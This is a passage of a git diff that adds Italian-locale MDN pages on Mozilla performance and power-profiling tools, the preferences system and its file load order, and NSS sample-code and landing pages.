+     <dd>BloatView prints per-class statistics on allocations and refcounts, and provides gross numbers on the amount of memory being leaked broken down by class. It is used as part of Mozilla's continuous integration testing.</dd>
+     <dt><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Performance/Refcount_tracing_and_balancing">Refcount tracing and balancing</a></dt>
+     <dd>Refcount tracing and balancing are ways to track down leaks caused by incorrect uses of reference counting. They are slow and not particular easy to use, and thus most suitable for use by expert developers.</dd>
+     <dt><a href="/en-US/docs/Mozilla/Performance/GC_and_CC_logs">GC and CC logs</a></dt>
+     <dd>GC and CC logs can be generated and analyzed to in various ways. In particular, they can help you understand why a particular object is being kept alive.</dd>
+     <dt><a href="/en-US/docs/Mozilla/Testing/Valgrind">Valgrind</a></dt>
+     <dd><a class="external text" href="http://valgrind.org/" rel="nofollow">Valgrind</a> is a tool that detects various memory-related problems at runtime, including leaks. Valgrind is used as <a class="external text" href="/en-US/docs/Valgrind_test_job" rel="nofollow">part</a> of Mozilla's continuous integration testing, though the coverage is limited because Valgrind is slow.</dd>
+     <dt><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Testing/Firefox_and_Address_Sanitizer#LeakSanitizer">LeakSanitizer</a></dt>
+     <dd><span class="external text">LeakSanitizer</span> (a.k.a. LSAN) is similar to Valgrind, but it runs faster because it uses static source code instrumentation. LSAN is part of Mozilla's continuous integration testing, with most tests running through it as part of the AddressSanitizer (a.k.a. ASAN) test jobs.</dd>
+     <dt><a href="https://developer.apple.com/documentation/Performance/Conceptual/ManagingMemory/Articles/FindingLeaks.html">Apple tools</a></dt>
+     <dd>Apple provides <span class="external text">some tools</span> for Mac OS X that report similar problems to those reported by LSAN and Valgrind. The "leaks" tool is not recommended for use with SpiderMonkey or Firefox, because it gets confused by tagged pointers and thinks objects have leaked when they have not (see <a class="external text" href="https://bugzilla.mozilla.org/show_bug.cgi?id=390944" rel="nofollow">bug 390944</a>).</dd>
+     <dt><a href="/en-US/docs/Mozilla/Performance/Leak_Gauge">Leak Gauge</a></dt>
+     <dd>Leak Gauge is a tool that can be used to detect certain kinds of leaks in Gecko, including those involving documents, window objects, and docshells.</dd>
+     <dt><a href="https://dxr.mozilla.org/mozilla-central/source/memory/replace/logalloc/README">LogAlloc</a></dt>
+     <dd>LogAlloc is a tool that dumps a log of memory allocations in Gecko. That log can then be replayed against Firefox's default memory allocator independently or through another replace-malloc library, allowing the testing of other allocators under the exact same workload.</dd>
+     <dt><a href="/en-US/docs/Mozilla/Performance/Memory_Profiler">Memory Profiler</a></dt>
+     <dd>The memory profiler samples allocation events and provides different views to analyze the allocation characteristic.</dd>
+    </dl>
+
+    <p>See also the documentation on <a href="/en-US/docs/Mozilla/Performance/Leak-hunting_strategies_and_tips">Leak-hunting strategies and tips.</a></p>
+   </td>
+   <td>
+    <h3 id="Profiling_and_performance_tools">Profiling and performance tools</h3>
+
+    <dl>
+     <dt><a href="https://developer.mozilla.org/en-US/docs/Tools/Performance" title="en/Performance/Profiling with the Built-in Profiler">Profiling with the Developer Tools Profiler</a></dt>
+     <dd>The profiler built into the developer tools has a high-level waterfall, detailed call tree, allocations and GC profiling, and flame graphs. It is available on all platforms and release channels, and also supports remote profiling b2g and Fennec.</dd>
+    </dl>
+
+    <dl>
+     <dt><a href="/en/Performance/Profiling_with_the_Built-in_Profiler" title="en/Performance/Profiling with the Built-in Profiler">Profiling with the Gecko Profiler</a> {{ gecko_minversion_inline("16.0") }}</dt>
+     <dd>The Gecko Profiler is a good tool to start with, particularly for understanding where time is spent within C++ code in Firefox.</dd>
+     <dt><a href="/en/Performance/Profiling_with_Instruments" title="en/Performance/Profiling with Instruments">Profiling with Instruments</a></dt>
+     <dd>How to use Apple's Instruments tool to profile Mozilla code.</dd>
+     <dt><a href="/en/Performance/Profiling_with_Xperf" title="en/Performance/Profiling with Xperf">Profiling with Xperf</a></dt>
+     <dd>How to use Microsoft's Xperf tool to profile Mozilla code.</dd>
+     <dt><a href="/en-US/docs/Performance/Profiling_with_Concurrency_Visualizer" title="en/Performance/Profiling with Concurrency Visualizer">Profiling with Concurrency Visualizer</a></dt>
+     <dd>How to use Visual Studio's Concurrency Visualizer tool to profile Mozilla code.</dd>
+     <dt><a href="/en/Performance/Profiling_with_Zoom" title="en/Performance/Profiling with Zoom">Profiling with Zoom</a></dt>
+     <dd>Zoom is a profiler for Linux done by the people who made Shark</dd>
+     <dt><a href="/en/Performance/Measuring_performance_using_the_PerfMeasurement.jsm_code_module" title="en/Performance/Measuring performance using the PerfMeasurement.jsm code module">Measuring performance using the PerfMeasurement.jsm code module</a> {{ gecko_minversion_inline("2.0") }}</dt>
+     <dd>Using <a href="/en/JavaScript_code_modules/PerfMeasurement.jsm" title="en/JavaScript code modules/PerfMeasurement.jsm"><code>PerfMeasurement.jsm</code></a> to measure performance data in your JavaScript code.</dd>
+     <dt><a href="/en-US/docs/Performance/Adding_a_new_Telemetry_probe" title="https://developer.mozilla.org/en-US/docs/Performance/Adding_a_new_Telemetry_probe">Adding a new Telemetry probe</a></dt>
+     <dd>Information on how to add a new measurement to the Telemetry performance-reporting system</dd>
+     <dt><a href="/en/Performance/Profiling_JavaScript_with_Shark" title="en/Performance/Profiling JavaScript with Shark">Profiling JavaScript with Shark</a> (obsolete - replaced by Instruments)</dt>
+     <dd>How to use the Mac OS X Shark profiler to profile JavaScript code in Firefox 3.5 or later.</dd>
+     <dt><a href="/en/Performance/Profiling_with_Shark" title="en/Performance/Profiling with Shark">Profiling with Shark</a> (obsolete - replaced by Instruments)</dt>
+     <dd>How to use Apple's Shark tool to profile Mozilla code.</dd>
+     <dt><a href="/en-US/docs/Mozilla/Performance/Investigating_CSS_Performance">Investigating CSS Performance</a></dt>
+     <dd>How to figure out why restyle is taking so long</dd>
+    </dl>
+
+    <h3 id="Power_profiling">Power profiling</h3>
+
+    <dl>
+     <dt><a href="/en-US/docs/Mozilla/Performance/Power_profiling_overview">Power profiling overview</a></dt>
+     <dd>This page provides an overview of relevant information, including details about hardware, what can be measured, and recommended approaches. It should be the starting point for anybody new to power profiling.</dd>
+     <dt><code><a href="/en-US/docs/Mozilla/Performance/tools_power_rapl">tools/power/rapl</a></code> (Mac, Linux)</dt>
+     <dd><code>tools/power/rapl</code> is a command-line utility in the Mozilla codebase that uses the Intel RAPL interface to gather direct power estimates for the package, cores, GPU and memory.</dd>
+     <dt><code><a href="/en-US/docs/Mozilla/Performance/powermetrics">powermetrics</a></code> (Mac-only)</dt>
+     <dd><code>powermetrics</code> is a command-line utility that gathers and displays a wide range of global and per-process measurements, including CPU usage, GPU usage, and various wakeups frequencies.</dd>
+     <dt><a href="/en-US/docs/Mozilla/Performance/TimerFirings_logging">TimerFirings logging</a> (All platforms)</dt>
+     <dd>TimerFirings logging is a built-in logging mechanism that prints data on every time fired.</dd>
+     <dt><a href="/en-US/docs/Mozilla/Performance/Activity_Monitor_and_top">Activity Monitor, Battery Status Menu and <code>top</code></a> (Mac-only)</dt>
+     <dd>The battery status menu, Activity Monitor and <code>top</code> are three related Mac tools that have major flaws but often consulted by users, and so are worth understanding.</dd>
+     <dt><a href="/en-US/docs/Mozilla/Performance/Intel_Power_Gadget">Intel Power Gadget</a> (Windows, Mac, Linux)</dt>
+     <dd>Intel Power Gadget provides real-time graphs for package and processor RAPL estimates. It also provides an API through which those estimates can be obtained.</dd>
+     <dt><code><a href="/en-US/docs/Mozilla/Performance/perf">perf</a></code> (Linux-only)</dt>
+     <dd><code>perf</code> is a powerful command-line utility that can measure many different things, including energy estimates and high-context measurements of things such as wakeups.</dd>
+     <dt><code><a href="/en-US/docs/Mozilla/Performance/turbostat">turbostat</a></code> (Linux-only)</dt>
+     <dd><code>turbostat</code> is a command-line utility that gathers and displays various power-related measurements, with a focus on per-CPU measurements such as frequencies and C-states.</dd>
+     <dt><code><a href="https://01.org/powertop">powertop</a></code> (Linux-only)</dt>
+     <dd><code>powertop</code> is an interactive command-line utility that gathers and displays various power-related measurements.</dd>
+    </dl>
+
+    <h3 id="Related_Topics">Related Topics</h3>
+
+    <dl>
+     <dd><a href="/en/JavaScript" title="en/JavaScript">JavaScript</a>, <a href="/en/XPCOM" title="en/XPCOM">XPCOM</a>, <a href="/En/Developer_Guide" title="en/Developing_Mozilla">Developing Mozilla</a>, <a href="/en/Extensions" title="en/Extensions">Extensions</a>, <a href="/en/Addons" title="en/Addons">Addons</a></dd>
+    </dl>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
diff --git a/files/it/mozilla/preferences/index.html b/files/it/mozilla/preferences/index.html
new file mode 100644
index 0000000000..1169ecabf1
--- /dev/null
+++ b/files/it/mozilla/preferences/index.html
@@ -0,0 +1,48 @@
+---
+title: Preferences
+slug: Mozilla/Preferences
+tags:
+  - NeedsTranslation
+  - TopicStub
+translation_of: Mozilla/Preferences
+---
+<p>The preference system makes it possible to store data for Mozilla applications using a key/value pairing system. These articles provide information about how to use the preference system.</p>
+<table class="topicpage-table">
+  <tbody>
+    <tr>
+      <td>
+        <h2 class="Documentation" id="Documentation" name="Documentation">Documentation</h2>
+        <dl>
+          <dt><a href="/en-US/docs/Preferences/Preferences_system" title="Preferences/Preferences system">Preferences system</a></dt>
+          <dd>An introduction to using the preference system in Mozilla.</dd>
+          <dt><a href="/en-US/docs/XUL_School/Handling_Preferences" title="XUL School/Handling Preferences">XUL School: Handling preferences</a></dt>
+          <dd>The XUL School tutorial chapter on preferences.</dd>
+          <dt><a href="/en-US/docs/Preferences/Preference_reference" title="Preferences/Preference_reference">Mozilla preference reference</a></dt>
+          <dd>A reference guide to all Mozilla preferences; currently a work in progress.</dd>
+          <dt><a href="/en-US/docs/Preferences/A_brief_guide_to_Mozilla_preferences" title="Preferences/A brief guide to Mozilla preferences">A brief guide to Mozilla preferences</a></dt>
+          <dd>An introductory guide to where preferences are stored and other useful information about the core preference system.</dd>
+          <dt><a href="/en-US/docs/Preferences/Using_preferences_from_application_code" title="Preferences/Using preferences from application code">Using preferences from application code</a> {{gecko_minversion_inline("6.0")}}</dt>
+          <dd>Firefox 6 introduced static functions for accessing preferences efficiently from within application code. This API is not available for add-ons, but if you're working on a Gecko application, this API is the preferred way to access preferences.</dd>
+          <dt><a href="/en-US/docs/Preferences/Mozilla_networking_preferences" title="Preferences/Mozilla networking preferences">Mozilla networking preferences</a></dt>
+          <dd>A guide to key networking-related preferences.</dd>
+          <dt><a href="/en-US/docs/Preferences/Mozilla_preferences_for_uber-geeks" title="Preferences/Mozilla preferences for uber-geeks">Mozilla preferences for uber-geeks</a></dt>
+          <dd>A guide to preferences that only truly elite geeks should play with.</dd>
+        </dl>
+        <p><span class="alllinks"><a href="/en-US/docs/tag/Preferences" title="tag/Preferences">View all pages tagged with "Preferences"...</a></span></p>
+      </td>
+      <td>
+        <h2 class="Community" id="Examples" name="Examples">Examples</h2>
+        <dl>
+          <dt><a href="/en-US/docs/Code_snippets/Preferences" title="Code snippets/Preferences">Code snippets</a></dt>
+          <dd>Preference-related code snippets.</dd>
+          <dt><a href="/en-US/docs/Adding_preferences_to_an_extension" title="Adding preferences to an extension">Adding preferences to an extension</a></dt>
+          <dd>How to add preferences to an existing extension.</dd>
+        </dl>
+        <h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Related Topics</h2>
+        <ul>
+          <li><a href="/en-US/docs/XUL" title="XUL">XUL</a>, <a href="/en-US/docs/JavaScript" title="JavaScript">JavaScript</a>, <a href="/en-US/docs/XPCOM" title="XPCOM">XPCOM</a>, <a href="/en-US/docs/Extensions" title="Extensions">Extensions</a>, <a href="/en-US/docs/Developer_Guide" title="Developing_Mozilla">Developing Mozilla</a></li>
+        </ul>
+      </td>
+    </tr>
+  </tbody>
+</table>
diff --git a/files/it/mozilla/preferences/una_breve_guida_alle_impostazioni_di_mozilla/index.html b/files/it/mozilla/preferences/una_breve_guida_alle_impostazioni_di_mozilla/index.html
new file mode 100644
index 0000000000..6256382fe5
--- /dev/null
+++ b/files/it/mozilla/preferences/una_breve_guida_alle_impostazioni_di_mozilla/index.html
@@ -0,0 +1,110 @@
+---
+title: Una breve guida alle preferenze di Mozilla
+slug: Mozilla/Preferences/Una_breve_guida_alle_impostazioni_di_Mozilla
+translation_of: Mozilla/Preferences/A_brief_guide_to_Mozilla_preferences
+---
+<div class="indent">
+<p>Questo articolo è rivolto agli utenti con conoscenze avanzate e agli amministratori di sistema. In questo articolo troverete una panoramica generale delle impostazioni di Mozilla ( note come preferenze ), compreso l'elenco dei file in cui esse vengono memorizzate ed un'analisi della sequenza di caricamento di questi file, oltre alle informazioni necessarie alla modifica di tali impostazioni.</p>
+</div>
+
+<h2 id="Cos'è_una_preferenza"><span id="def">Cos'è una preferenza?</span></h2>
+
+<div class="indent">
+<p>Una preferenza è un qualsiasi valore oppure un particolare comportamento che possa essere selezionato fra altri valori o comportamenti ( presumibilmente, un valore o un comportamento è "preferibile" ad un altro ). Le modifiche alle preferenze, apportate attraverso l'interfaccia utente, normalmente diventano effettive immediatamente. I valori vengono salvati nel profilo utente ( nel file <code>prefs.js</code> ), sia per Firefox che per Thunderbird.</p>
+
+<p>Una preferenza viene letta da un file e può invocare fino a quattro metodi: <code>pref()</code>, <code>user_pref(), sticky_pref()</code> e <code>lockPref()</code>. Tutti i file che conservano le preferenze possono invocare <code>pref()</code>, <code>user_pref()</code> e sticky_pref(), mentre il file di configurazione può invocare anche <code>lockPref()</code>.</p>
+</div>
+
+<h2 id="I_file_delle_preferenze"><span id="file">I file delle preferenze</span></h2>
+
+<div class="indent">
+<p><span id="files-skipline">Per proteggere la privacy, prevenendo la possibilità di un caricamento involontario, nel browser, di un file delle preferenze, la prima riga del file viene resa "</span>un-parseable" ( non analizzabile ) e saltata in fase di caricamento. La sola eccezione è per il file <code>user.js</code> .</p>
+
+<p>Al lancio dell'applicazione, vengono caricati diversi file delle preferenze:</p>
+
+<dl>
+ <dt class="term"><span id="files-def">I file delle preferenze di default</span></dt>
+ <dd>
+ <p>Firefox trova le preferenze di default in più file, tutti all'interno della directory dell'applicazione:</p>
+
+ <ul>
+  <li>greprefs.js - contiene le preferenze condivise da tutte le applicazioni che utilizzano la piattaforma Mozilla.</li>
+  <li>services/common/services-common.js - contiene le preferenze per alcuni servizi condivisi. Verosimilmente, potrebbe essere incluso in qualche altro file.</li>
+  <li>defaults/pref/services-sync.js - contiene le preferenze di default per la sincronizzazione di Firefox ( Firefox Sync ): salvato anche in posizione strana.</li>
+  <li>browser/app/profile/channel-prefs.js - un file che contiene il nome del canale dell'utente da usare per gli aggiornamenti. Viene tenuto separato dalle altre preferenze, poichè può agire sulle modalità di applicazione degli aggiornamenti.</li>
+  <li>browser/app/profile/firefox.js - contiene le preferenze di default specifiche per Firefox.</li>
+  <li>browser/app/profile/firefox-branding.js - contiene le preferenze di default specifiche per la versione di Firefox installata (Nightly, Aurora, Beta, Release).</li>
+  <li>browser/defaults/preferences/firefox-l10n.js - contiene le preferenze di default specifiche per la lingua installata in Firefox. Nessuno degli altri file delle  preferenze contiene preferenze locali specifiche.</li>
+ </ul>
+ </dd>
+ <dt class="term"><span id="files-conf"><abbr title="configuration">Config.</abbr></span> file</dt>
+ <dd>
+ <p>Un file di configurazione, normalmente con estensione <code>.cfg</code>, può essere invocato da un file di default delle preferenze utilizzando la preferenza <code>general.config.filename</code>. Questo file permette il blocco delle preferenze (preference locking) attraverso la funzione <code>lock_pref()</code>. I dettagli sul file di configurazione sono al di fuori dello scopo di questo documento.</p>
+ </dd>
+ <dt class="term"><span id="files-user">User pref. files</span></dt>
+ <dd>
+ <p>Nella directory di profilo ci sono due file delle preferenze riservate all'utente:  <code>prefs.js</code> e <code>user.js</code>.  <code>prefs.js</code> viene generato automaticamente dall'applicazione e non dovrebbe essere modificato manualmente, mentre <code>user.js</code> è un file opzionale che l'utente può creare per sovrascrivere le preferenze inizializzate in altri file delle preferenze.</p>
+ </dd>
+</dl>
+</div>
+
+<h2 id="Caricamento_delle_preferenze_e_risoluzione"><span id="loading">Caricamento delle preferenze e risoluzione</span></h2>
+
+<div class="indent">
+<p>Al lancio dell'applicazione, l'applicazione carica le preferenze nel seguente ordine:</p>
+
+<ol>
+ <li>
+  <p>tutti i file di default delle preferenze.</p>
+ </li>
+ <li>
+  <p>Se c'è, il file di configurazione.</p>
+ </li>
+ <li>
+  <p>I file delle preferenze dell'utente: il file <code>prefs.js prima</code>, il file <code>user.js</code>  poi.</p>
+ </li>
+</ol>
+
+<p>I conflitti vengono risolti in favore dell'ultimo record caricato; per esempio, <code>user.js</code> ha la precedenza su <code>prefs.js</code> .</p>
+
+<p>Se l'applicazione incontra un qualsiasi errore durante il caricamento di un file di default delle preferenze, l'applicazione emette un messaggio di avviso che informa che il caricamento del file è fallito e si chiude. Questo permette agli amministratori di sistema di sapere velocemente se c'è un errore di configurazione nell'installazione. Se l'applicazione incontra un qualsiasi errore durante il caricamento di un file delle preferenze dell'utente, invece, l'applicazione emette un messaggio di avviso, ma continua nell'esecuzione.</p>
+</div>
+
+<h2 id="Salvare_le_preferenze"><span id="saving">Salvare le preferenze</span></h2>
+
+<div class="indent">
+<p>Normalmente, quando un utente conferma una modifica di una preferenza, effettuata attraverso l'interfaccia utente, come, ad esempio, la finestra di dialogo Preferenze, l'applicazione salva la modifica sovrascrivendo il file <code>prefs.js</code> . Alla chiusura dell'applicazione, tutte le preferenze utente vengono salvate nel file <code>prefs.js</code> . Questo significa anche che le preferenze inizialmente impostate nel file <code>user.js</code> verranno anche salvate nel file <code>prefs.js</code>.</p>
+
+<p class="note"><strong>NON modificare il file</strong> <code>prefs.js</code> direttamente.</p>
+
+<p>Nota: l'applicazione non modifica mai il file <code>user.js</code>. In questo modo, al lancio dell'applicazione, il file <code>user.js</code> sovrascrive le preferenze in conflitto con la precedente sessione dell'applicazione.</p>
+
+<p>Quando viene scritto il file <code>prefs.js</code>, vengono salvate solo le preferenze utente che hanno valori differenti dai valori di default. La sola eccezione a questo è la preferenza letta utilizzando la funzione <code>sticky_pref()</code> - questa preferenza viene scritta comunque, basta che contenga un valore dato dall'utente, anche se questo valore fosse identico al valore di default.</p>
+</div>
+
+<h2 id="Modificare_le_preferenze"><span id="modifying">Modificare le preferenze</span></h2>
+
+<div class="indent">
+<p>Gli utenti avanzati possono impostare le preferenze utilizzando l'editor avanzato delle preferenze, digitando <code>about:config</code> nella barra degli indirizzi del browser. Questa interfaccia utente ( UI ) non è da raccomandare alla gran parte degli utenti. Le modifiche alle preferenze da effettuarsi da un programma possono essere richieste utilizzando il modulo JS <a href="http://dxr.mozilla.org/mozilla-central/source/toolkit/modules/Preferences.jsm" title="http://dxr.mozilla.org/mozilla-central/source/toolkit/modules/Preferences.jsm">Preferences.jsm</a> ( <span class="ital">JavaScript Module )</span>, oppure i metodi della classe statica mozilla::Preferences del codice C++.</p>
+
+<h3 id="Modificare_i_valori_di_default">Modificare i valori di default</h3>
+
+<p>Un amministratore di sistema può modificare una preferenza di default in due modi:</p>
+
+<ol>
+ <li>l'amministratore può aggiungere un file delle preferenze chiamato <code>all-<em>companyname</em>.js</code> (<code>install_directory/browser/defaults/preferences/all-<em>companyname</em>.js</code>). Questo file verrà analizzato per ultimo, nel corso del processo di caricamento delle preferenze.</li>
+ <li>
+  <p>l'amministratore, in alternativa, può salvare il file <code>user.js</code> nella directory <code><em>app_dir</em>/defaults/profile/</code> ; in questo modo, una copia del file <code>user.js</code> verrà salvata in ogni nuovo profilo creato. Questo metodo ha il vantaggio di riportare, ad ogni start-up, le preferenze ai valori voluti dall'amministratore. Ricorda, però, che un utente, detenendo i privilegi necessari ad accedere alla propria directory di profilo, potrà sempre modificare i valori di default, sempre che sappia come farlo. Un altro svantaggio di questa alternativa è che i profili esistenti non verranno influenzati dai nuovi valori assegnati. <em>Questo metodo è considerato user-hostile ( ostile all'utente ). Qualsiasi uso di questa tecnica, fatta da software quali le estensioni Firefox, al fine di sovrascrivere le preferenze utente normali, darà, come risultato, quello di essere inseriti nella blocklist di Firefox oppure di vedere rimosse forzatamente le preferenze stesse.</em></p>
+ </li>
+</ol>
+
+<div class="note">
+<p>Nota: a causa degli abusi del file user.js, il supporto per il file user.js potrebbe essere rimosso nelle versioni future di Firefox.</p>
+</div>
+</div>
+
+<h2 id="Le_Sticky_Preference">Le Sticky Preference</h2>
+
+<p>Le Sticky preference furono introdotte in Firefox 40, via <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1098343">bug 1098343</a>.</p>
+
+<p>Le Sticky preference vengono create con la funzione <code>sticky_pref()</code>. Queste preferenze si comportano come le preferenze di default, ma ovunque venga stabilito un valore per la preferenza, quel valore viene sempre scritto, anche se uguale al valore di default. Le Sticky preference vengono usate, generalmente, per le preferenze che hanno un valore di default differente per ciascun canale. L'intento è di impostare il valore di una preferenza per un canale e far sì che quel valore resti invariato, anche utilizzando un differente canale, per il quale sia previsto un diverso valore di default. Per esempio, ipotizziamo che Nightly abbia una preferenza "some.preference" con valore di default impostato a "<code>true", mentre </code>DeveloperEdition assegna alla stessa preferenza il valore di default "<code>false". </code>Ipotizziamo ora che l'utente desideri che la preferenza abbia valore<code> "true" </code>per entrambi i canali. Se la preferenza non è una Sticky preference e l'utente esegue DeveloperEdition e cambia la preferenza in "<code>true", </code>la modifica verrà salvata perchè non è uguale al valore di default. Quando l'utente eseguirà Nightly, la preferenza avrà lo stesso valore di default e, di conseguenza, <em>non</em> verrà salvata da Nightly. Quando l'utente eseguirà ancora DeveloperEdition, il valore della preferenza sarà "<code>false", </code>poichè  Nightly non aveva salvato alcuna preferenza utente. Se la preferenza viene definita come Sticky preference, il valore "<code>true" </code>verrà salvato da Nightly anche se riconosciuto come valore corrente di default, così che quando verrà eseguita DeveloperEdition, la preferenza avrà il valore desiderato di "<code>true</code>".</p>
diff --git a/files/it/mozilla/projects/index.html b/files/it/mozilla/projects/index.html
new file mode 100644
index 0000000000..6291137b31
--- /dev/null
+++ b/files/it/mozilla/projects/index.html
@@ -0,0 +1,14 @@
+---
+title: Projects
+slug: Mozilla/Projects
+tags:
+  - Mozilla
+  - NeedsContent
+  - NeedsTranslation
+  - Projects
+  - TopicStub
+translation_of: Mozilla/Projects
+---
+<p>{{ draft() }}</p>
+<p>This page needs to become a pretty index to Mozilla projects whose documentation is located under it.</p>
+<p>{{ LandingPageListSubpages() }}</p>
diff --git a/files/it/mozilla/projects/nss/esempi_codice_nss/index.html b/files/it/mozilla/projects/nss/esempi_codice_nss/index.html
new file mode 100644
index 0000000000..e98ceaa015
--- /dev/null
+++ b/files/it/mozilla/projects/nss/esempi_codice_nss/index.html
@@ -0,0 +1,28 @@
+---
+title: Esempi di Codice NSS
+slug: Mozilla/Projects/NSS/Esempi_Codice_NSS
+tags:
+  - Esempi NSS
+translation_of: Mozilla/Projects/NSS/NSS_Sample_Code
+---
+<h2 id="Esempi_di_Codice_NSS">Esempi di Codice NSS</h2>
+
+<p>La collezione di esempi di codice che segue, mostra come NSS possa essere usato per le operazioni crittografiche, la gestione di certificati, SSL, ecc... Mostra inoltre alcune buone norme nell'applicazione della crittografia.</p>
+
+<p> </p>
+
+<ol>
+ <li><a href="nss_sample_code/NSS_Sample_Code_Sample1">Esempio di Codice 1: Generazione di Chiavi e Trasporto tra server</a></li>
+ <li><a href="nss_sample_code/NSS_Sample_Code_Sample1">Esempio di Codice 2: Crittografia Simmetrica</a></li>
+ <li><a href="nss_sample_code/NSS_Sample_Code_Sample1">Esempio di Codice </a><a href="nss_sample_code/NSS_Sample_Code_sample3"> 3: Hashing, MAC</a></li>
+ <li><a href="nss_sample_code/NSS_Sample_Code_Sample1">Esempio di Codice </a><a href="nss_sample_code/NSS_Sample_Code_sample4"> 4: Crittografia PKI</a></li>
+ <li><a href="https://developer.mozilla.org/it/docs/Mozilla/Projects/NSS/nss_sample_code/NSS_Sample_Code_sample2">Esempio di Codice </a><a href="nss_sample_code/NSS_Sample_Code_sample5">5: Crittografia PKI con chiave pubblica e privata raw in formato DER</a></li>
+ <li><a href="nss_sample_code/NSS_Sample_Code_sample6">Sample Code 6: Chiavi Simmetriche Permanenti in database NSS</a></li>
+</ol>
+
+<p><br>
+ Questi esempi dono molto vecchi e necessitano di essere sostituiti. Vedi https://bugzilla.mozilla.org/show_bug.cgi?id=490238</p>
+
+<p>C'è una git repo temporanea con il lavoro in corso</p>
+
+<pre class="bz_comment_text" id="comment_text_42">git clone git://fedorapeople.org/~emaldonado/samples.git</pre>
diff --git a/files/it/mozilla/projects/nss/index.html b/files/it/mozilla/projects/nss/index.html
new file mode 100644
index 0000000000..718314f916
--- /dev/null
+++ b/files/it/mozilla/projects/nss/index.html
@@ -0,0 +1,198 @@
+---
+title: Network Security Services
+slug: Mozilla/Projects/NSS
+tags:
+  - JSS
+  - NSS
+  - NeedsMigration
+  - NeedsTranslation
+  - TopicStub
+translation_of: Mozilla/Projects/NSS
+---
+<p><strong>Network Security Services</strong> (<strong>NSS</strong>) is a set of libraries designed to support cross-platform development of security-enabled client and server applications. Applications built with NSS can support SSL v2 and v3, TLS, PKCS #5, PKCS #7, PKCS #11, PKCS #12, S/MIME, X.509 v3 certificates, and other security standards.</p>
+<p>For detailed information on standards supported, see <a href="/en-US/docs/Overview_of_NSS" title="Overview_of_NSS">Overview of NSS</a>. For a list of frequently asked questions, see the <a href="/en-US/docs/NSS_FAQ" title="NSS_FAQ">FAQ</a>.</p>
+<p>NSS is available under the Mozilla Public License. For information on downloading NSS releases as tar files, see <a href="https://developer.mozilla.org/en-US/docs/NSS_Sources_Building_Testing">Download PKI Source</a>.</p>
+<p>If you're a developer and would like to contribute to NSS, you might want to read the documents <a href="/en-US/docs/An_overview_of_NSS_Internals" title="/en-US/docs/An_overview_of_NSS_Internals">highlevel overview of internal details of NSS</a> and <a href="/en-US/docs/Getting_Started_With_NSS" title="/en-US/docs/Getting_Started_With_NSS">getting started with NSS</a>.</p>
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h2 class="Documentation" id="Documentation" name="Documentation">Documentation</h2>
+    <h3 id="Background_Information">Background Information</h3>
+    <dl>
+     <dt>
+      <a href="/en-US/docs/Overview_of_NSS">Overview of NSS</a></dt>
+     <dd>
+      Provides a brief summary of NSS and its capabilities.</dd>
+     <dt>
+      <a href="/en-US/docs/NSS_FAQ">NSS FAQ</a></dt>
+     <dd>
+      Answers basic questions about NSS.</dd>
+     <dt>
+      <a href="/en-US/docs/Introduction_to_Public-Key_Cryptography">Introduction to Public-Key Cryptography</a></dt>
+     <dd>
+      Explains the basic concepts of public-key cryptography that underlie NSS.</dd>
+     <dt>
+      <a href="/en-US/docs/Introduction_to_SSL">Introduction to SSL</a></dt>
+     <dd>
+      Introduces the SSL protocol, including information about cryptographic ciphers supported by SSL and the steps involved in the SSL handshake.</dd>
+    </dl>
+    <h3 id="Getting_Started">Getting Started</h3>
+    <dl>
+     <dt>
+      <a href="/en-US/docs/NSS/NSS_Releases" title="NSS_releases">NSS Releases</a></dt>
+     <dd>
+      This page contains information about the current and past releases of NSS.</dd>
+     <dt>
+      <a href="/en-US/docs/NSS_Sources_Building_Testing">Get the source code and Build it</a></dt>
+     <dd>
+      Instructions on how to build NSS on the different supported platforms.</dd>
+     <dt>
+      <a href="/en-US/docs/Mozilla/Developer_guide/Source_Code/Mercurial">Get Mozilla Source Code Using Mercurial</a></dt>
+     <dd>
+      Information about with working with Mercurial.</dd>
+     <dt>
+      <a href="/en-US/docs/Mozilla/Developer_guide/Source_Code/CVS">Get Mozilla Source Code Using CVS (deprecated)</a></dt>
+     <dd>
+      Old deprecated CVS documentation.</dd>
+    </dl>
+    <h3 id="NSS_APIs">NSS APIs</h3>
+    <dl>
+     <dt>
+      <a href="/en-US/docs/Introduction_to_Network_Security_Services">Introduction to Network Security Services</a></dt>
+     <dd>
+      Provides an overview of the NSS libraries and what you need to know to use them.</dd>
+     <dt>
+      <a href="NSS/SSL_functions">NSS Public Functions</a></dt>
+     <dd>
+      Summarizes the APIs exported by the NSS shared libraries.</dd>
+     <dt>
+      <a href="/en-US/docs/NSS_reference">NSS Reference</a></dt>
+     <dd>
+      API used to invoke SSL operations.</dd>
+     <dt>
+      <a href="NSS/NSS_API_GUIDELINES">NSS API Guidelines</a></dt>
+     <dd>
+      Explains how the libraries and code are organized, and guidelines for developing code (naming conventions, error handling, thread safety, etc.)</dd>
+     <dt>
+      <a href="NSS/nss_tech_notes">NSS Technical Notes</a></dt>
+     <dd>
+      Links to NSS technical notes, which provide latest information about new NSS features and supplementary documentation for advanced topics in programming with NSS.</dd>
+    </dl>
+    <h3 id="Tools_testing_and_other_technical_details">Tools, testing, and other technical details</h3>
+    <dl>
+     <dt>
+      <a href="/en-US/docs/NSS_Sources_Building_Testing">Build Instructions for NSS</a></dt>
+     <dd>
+      Describe how to check out and build NSS releases.</dd>
+    </dl>
+    <dl>
+     <dt>
+      <a href="/en-US/docs/Mozilla/Projects/NSS/NSS_Developer_Tutorial">NSS Developer Tutorial</a></dt>
+     <dd>
+      How to make changes in NSS. Coding style, maintaining ABI compatibility.</dd>
+    </dl>
+    <dl>
+     <dt>
+      <a href="NSS/Tools">NSS Tools</a></dt>
+     <dd>
+      Tools for developing, debugging, and managing applications that use NSS.</dd>
+     <dt>
+      <a href="NSS/NSS_Sample_Code">Sample Code</a></dt>
+     <dd>
+      Demonstrates how NSS can be used for cryptographic operations, certificate handling, SSL, etc.</dd>
+     <dt>
+      <a href="http://www-archive.mozilla.org/projects/security/pki/nss/testnss_32.html">NSS 3.2 Test Suite</a></dt>
+     <dd>
+      <b>Archived version.</b> Describes how to run the standard NSS tests.</dd>
+     <dt>
+      <a href="http://www-archive.mozilla.org/projects/security/pki/nss/performance_reports.html">NSS Performance Reports</a></dt>
+     <dd>
